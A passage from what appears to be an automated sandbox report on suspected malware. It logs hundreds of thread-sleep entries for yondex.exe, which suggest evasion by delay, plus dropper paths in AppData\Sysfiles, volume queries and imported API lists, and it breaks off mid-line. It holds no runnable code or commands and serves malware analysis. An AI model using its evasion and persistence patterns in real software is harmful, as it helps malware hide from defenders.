Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -584062s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -583908s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -583750s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -583621s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -583498s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -583359s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -583204s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -583047s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -582781s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -582645s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -582500s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -582359s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -582203s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -582070s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -581922s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -581781s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -581625s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -581490s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -581344s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -581203s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -581086s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -580945s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -580797s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -580656s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -580526s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -580400s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -580258s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -580109s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -579984s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -579844s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -579708s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -579547s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -579424s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -579297s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -579160s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -579005s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -578868s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -578731s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -578578s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -578449s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -578322s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -578186s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -578060s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -577934s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -577804s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -577659s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -577515s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -577368s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -577234s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -577078s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -576960s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -576781s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -576651s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -576499s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -576344s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -576187s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -576054s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -575890s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -575765s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -575634s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -575487s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -575328s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -575218s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -575078s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -574951s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -574812s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -574681s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -574531s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -574394s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -574258s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -574078s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -573920s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -573781s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -573646s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -573510s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -573362s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -573219s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -573064s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -572922s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -572791s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -572659s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -572500s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -572377s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -572236s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -572107s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -571980s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -571844s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -571712s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -571578s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -571422s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -571285s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -571154s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -571026s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -570875s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -570760s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -570616s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -570471s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -570328s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -570182s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -570047s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -569891s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -569750s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -569594s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -569464s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -569328s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -569203s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -569062s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -568922s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -568756s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -568620s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -568469s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -568328s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -568198s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -568071s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -567937s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -567801s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -567668s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -567531s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -567404s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -567275s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -567140s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -567000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -566844s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -566687s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -566553s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -566410s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -566265s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -566109s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -565997s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -565866s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -565718s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -565588s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -565462s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -565342s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -565203s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -565084s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -564946s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -564812s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -564686s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -564547s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -564406s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -564277s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -564140s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -563984s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -563844s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -563703s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -563515s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -563375s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -563250s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -563109s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -562966s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -562836s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -562656s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -562500s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -562359s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -562211s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -562079s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -561935s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -561797s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -561640s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -561493s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -561348s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -561210s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -561062s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -560930s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -560804s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -560625s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -560453s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -560305s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -560140s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -560015s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -559858s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -559727s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -559578s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -559462s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -559321s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -559163s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -559015s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -558889s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -558757s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -558594s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -558451s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -558315s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -558166s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -558015s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -557875s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -557742s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -557605s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -557471s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -557328s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -557203s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -557062s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -556943s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -556811s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -556684s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -556500s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -556354s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -556219s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -556062s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -555931s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -555797s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -555686s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -555529s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -555364s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -555219s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8188	Thread sleep count: 2391 > 30
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep count: 486 > 30
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -555085s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -554984s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -554874s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -554765s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -554656s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -554547s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -554437s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -554328s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -554218s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -554109s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -554000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -553890s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65594B190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,IsDlgButtonChecked,IsDlgButtonChecked,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,IsDlgButtonChecked,SendDlgItemMessageW,GetDlgItem,IsDlgButtonChecked,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,IsDlgButtonChecked,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF65594B190
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF6559340BC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF6559340BC
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65595FCA0 FindFirstFileExA,	0_2_00007FF65595FCA0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4A40BC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	3_2_00007FF7AB4A40BC
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4BB190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,IsDlgButtonChecked,IsDlgButtonChecked,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,IsDlgButtonChecked,SendDlgItemMessageW,GetDlgItem,IsDlgButtonChecked,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,IsDlgButtonChecked,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,F